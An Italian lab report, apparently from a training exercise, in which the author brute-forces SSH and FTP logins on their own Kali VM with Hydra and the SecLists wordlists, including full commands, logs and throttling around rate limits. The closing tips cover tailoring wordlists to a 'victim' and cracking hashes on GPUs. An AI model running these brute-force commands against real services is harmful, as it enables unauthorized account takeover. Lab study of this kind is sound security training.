Report Tecnico: Vulnerability Assessment & Service Cracking

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Obiettivo: Test di sicurezza sui servizi SSH e FTP e analisi delle vulnerabilità web (DVWA).

1. Fase di Configurazione Target

L'esercitazione è iniziata con la preparazione del sistema target su Kali Linux. È stato creato un utente specifico per i test di forza bruta:
Username: test_user

Password: testpass (configurata appositamente debole per il test).

Successivamente è stato attivato il servizio SSH per consentire le connessioni remote.

2. Attacco Brute Force: Servizio SSH

Per l'attacco è stato utilizzato **Hydra**, un tool di login cracking parallelizzato.

2.1 Difficoltà Incontrate e Troubleshooting

Durante i primi tentativi sono stati riscontrati due problemi principali:

Sintassi del comando: Inizialmente è stato inserito l'IP tra parentesi quadre, causando un errore di risoluzione dell'host da parte di Hydra.

Rate Limiting (Socket Error): Utilizzando thread troppo aggressivi, il servizio SSH ha iniziato a rifiutare le connessioni (*Connection reset by peer*).

```
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.50.12 - login "test_user" - pass "killer" - 43 of 10000 [child 0] (0/0)
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.50.12 - login "test_user" - pass "killer" - 43 of 10000 [child 0] (0/0)
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.50.12 - login "test_user" - pass "killer" - 43 of 10000 [child 0] (0/0)
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.50.12 - login "test_user" - pass "killer" - 43 of 10000 [child 0] (0/0)
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.50.12 - login "test_user" - pass "killer" - 43 of 10000 [child 0] (0/0)
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.50.12 - login "test_user" - pass "killer" - 43 of 10000 [child 0] (0/0)
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 0
[RE-ATTEMPT] target 192.168.50.12 - login "test_user" - pass "killer" - 43 of 10000 [child 0] (0/0)
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Disabled child 0 because of too many errors
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Disabled child 2 because of too many errors
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Disabled child 3 because of too many errors
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "andrew" - 44 of 10003 [child 1] (0/3)
[ERROR] could not connect to target port 22: Socket error: Connection reset by peer
[ERROR] ssh protocol error
[VERBOSE] Retrying connection for child 1
[RE-ATTEMPT] target 192.168.50.12 - login "test_user" - pass "andrew" - 44 of 10003 [child 1] (0/3)
[ERROR] could not connect to target port 22: Socket error: disconnected
[ERROR] ssh protocol error
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-10 08:14:38
```

Soluzione: Il servizio è stato riavviato con sudo service ssh restart e il parametro di velocità di Hydra è stato ridotto a -t 1 per bypassare i blocchi di sicurezza del sistema.

2.2 Esecuzione con Wordlist Professionale

Come richiesto dalle linee guida, è stata installata la collezione di wordlist **Seclists** (sudo apt install seclists).

```
┌──(kali㉿kali)-[~]
└─$ sudo service ssh restart

┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt 192.168.50.12 ssh -t 1 -vV
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-10 08:17:26
[DATA] max 1 task per 1 server, overall 1 task, 10000 login tries (l:1/p:10000), ~10000 tries per task
[DATA] attacking ssh://192.168.50.12:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://test_user@192.168.50.12:22
[INFO] Successful, password authentication is supported by ssh://192.168.50.12:22
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "password" - 1 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "123456" - 2 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "12345678" - 3 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "1234" - 4 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "qwerty" - 5 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "12345" - 6 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "dragon" - 7 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "pussy" - 8 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "baseball" - 9 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "football" - 10 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "letmein" - 11 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "monkey" - 12 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "696969" - 13 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "abc123" - 14 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "mustang" - 15 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "michael" - 16 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "shadow" - 17 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "master" - 18 of 10000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "jennifer" - 19 of 10000 [child 0] (0/0)
[STATUS] 19.00 tries/min, 19 tries in 00:01h, 9981 to do in 08:46h, 1 active
```

L'attacco è stato lanciato puntando alla lista 10k-most-common.txt. Hydra ha identificato correttamente la password.

```
┌──(kali㉿kali)-[~]
└─$ hostname -I
192.168.50.12 169.254.47.41

┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P chiavi.txt [169.254.47.41] ssh -vV
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-10 07:24:35
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking ssh://[169.254.47.41]:22/
[VERBOSE] Resolving addresses ... [Failed for [169.254.47.41]] [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://test_user@(null):22
[ERROR] could not connect to ssh://(null):22 - Hostname required

┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P chiavi.txt [192.168.50.12] ssh -vV
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-10 07:26:31
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking ssh://[192.168.50.12]:22/
[VERBOSE] Resolving addresses ... [Failed for [192.168.50.12]] [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://test_user@(null):22
[ERROR] could not connect to ssh://(null):22 - Hostname required

┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P chiavi.txt 192.168.50.12 ssh -vV
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-10 07:27:29
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (l:1/p:2), ~1 try per task
[DATA] attacking ssh://192.168.50.12:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://test_user@192.168.50.12:22
[INFO] Successful, password authentication is supported by ssh://192.168.50.12:22
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "123456" - 1 of 2 [child 0] (0/0)
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "testpass" - 2 of 2 [child 1] (0/0)
[22][ssh] host: 192.168.50.12   login: test_user   password: testpass
[STATUS] attack finished for 192.168.50.12 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-10 07:27:34

┌──(kali㉿kali)-[~]
└─$
```

```
┌──(kali㉿kali)-[~]
└─$ echo "test_user" > utenti_short.txt

┌──(kali㉿kali)-[~]
└─$ hydra -L utenti_short.txt -p testpass 192.168.50.12 ssh -vV
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ***ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-10 09:52:24
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.50.12:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://test_user@192.168.50.12:22
[INFO] Successful, password authentication is supported by ssh://192.168.50.12:22
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "testpass" - 1 of 1 [child 0] (0/0)
[22][ssh] host: 192.168.50.12   login: test_user   password: testpass
[STATUS] attack finished for 192.168.50.12 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-10 09:52:34

┌──(kali㉿kali)-[~]
└─$
```

"Dopo l'analisi iniziale, è stato eseguito un attacco mirato utilizzando una lista utenti ottimizzata, confermando istantaneamente la vulnerabilità dell'utente test_user".

3. Fase 2: Servizio FTP

Seguendo i suggerimenti dell'esercitazione, è stato configurato e testato anche il servizio FTP.

3.1 Risoluzione Problemi di Rete

Durante l'installazione di vsftpd, si è verificata una mancanza di connettività internet dovuta alla configurazione della VM in "Rete Interna".

```
┌──(kali㉿kali)-[~]
└─$ sudo apt install vsftpd -y
[sudo] password for kali:
The following packages were automatically installed and are no longer required:
  curlftpfs      libavformat61      libcrypt-dev       liblab-gamut1      libmupdf25.1     librubberband2  libsphinxbase3t64          pocketsphinx-en-us  python3-terminaltables
  libann0        libcdt5            libfuse2t64        libmjpegutils-2.1-0t64  libplacebo351    libsframe2      libswscale8                python3-aiocache    python3-wapiti-arsenic
  libaudio2      libcgraph6         libgav1-1          libmpeg2encpp-2.1-0t64  libpocketsphinx3 libsimdutf27    libvdpau-va-gl1            python3-aiomcache   python3-yaswfp
  libavfilter10  libconfig-inifiles-perl  libgdk-pixbuf2.0-bin  libmplex2-2.1-0t64  libpostproc58  libsnmp40t64    linux-image-6.16.8+kali-amd64  python3-fs          ruby-unf-ext
Use 'sudo apt autoremove' to remove them.

Installing:
  vsftpd

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 622
  Download size: 143 kB
  Space needed: 365 kB / 45.6 GB available

Ign:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.5
Ign:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.5
Ign:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.5
Err:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.5
  Temporary failure resolving 'http.kali.org'
Error: Failed to fetch http://http.kali.org/kali/pool/main/v/vsftpd/vsftpd_3.0.5-0.5_amd64.deb  Temporary failure resolving 'http.kali.org'
Error: Unable to fetch some archives, maybe run apt update or try with --fix-missing?

┌──(kali㉿kali)-[~]
└─$
```

Soluzione: È stato effettuato uno switch temporaneo della scheda di rete da **Rete interna** a **NAT** per consentire il download dei pacchetti necessari, per poi tornare in rete locale per completare il test., mettento in “pausa” hydra si è proceduto a switchare da **Rete interna** a **NAT** scaricare **FTP** per poi tronare alla **Rete Interna** e far ripartire Hydra.

3.2 Cracking FTP

Una volta attivo il servizio, Hydra è stato utilizzato per verificare la vulnerabilità. L'attacco ha avuto successo immediato.

```
Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 622
  Download size: 143 kB
  Space needed: 365 kB / 45.6 GB available

Ign:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.5
Ign:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.5
Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.5 [143 kB]
Fetched 143 kB in 5s (30.6 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database … 458992 files and directories currently installed.)
Preparing to unpack …/vsftpd_3.0.5-0.5_amd64.deb…
Unpacking vsftpd (3.0.5-0.5)…
Setting up vsftpd (3.0.5-0.5)…
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
vsftpd.service is a disabled or a static unit, not starting it.
Processing triggers for man-db (2.13.1-1)…
Processing triggers for kali-menu (2026.1.4)…

┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd start

┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -p testpass 192.168.50.12 ftp -vV
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-10 09:22:01
[WARNING] Restorefile (you have 10 seconds to abort … (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ftp://192.168.50.12:21/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[ATTEMPT] target 192.168.50.12 - login "test_user" - pass "testpass" - 1 of 1 [child 0] (0/0)
[21][ftp] host: 192.168.50.12   login: test_user   password: testpass
[STATUS] attack finished for 192.168.50.12 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-10 09:22:12

┌──(kali㉿kali)-[~]
└─$
```

4. Considerazioni Finali e Soluzioni

Come emerso dai test, l'uso di wordlist massive comporta tempi di esecuzione elevati. Per ottimizzare queste operazioni in contesti reali, si consiglia:

Targeting: Utilizzo di wordlist mirate in base alla lingua e al contesto della vittima.

Performance: Cracking offline degli hash (se ottenuti) tramite GPU o distribuzione del carico su più nodi.

Monitoraggio: Utilizzo dello switch -vV per analizzare i tentativi in tempo reale e prevenire i blocchi dei servizi.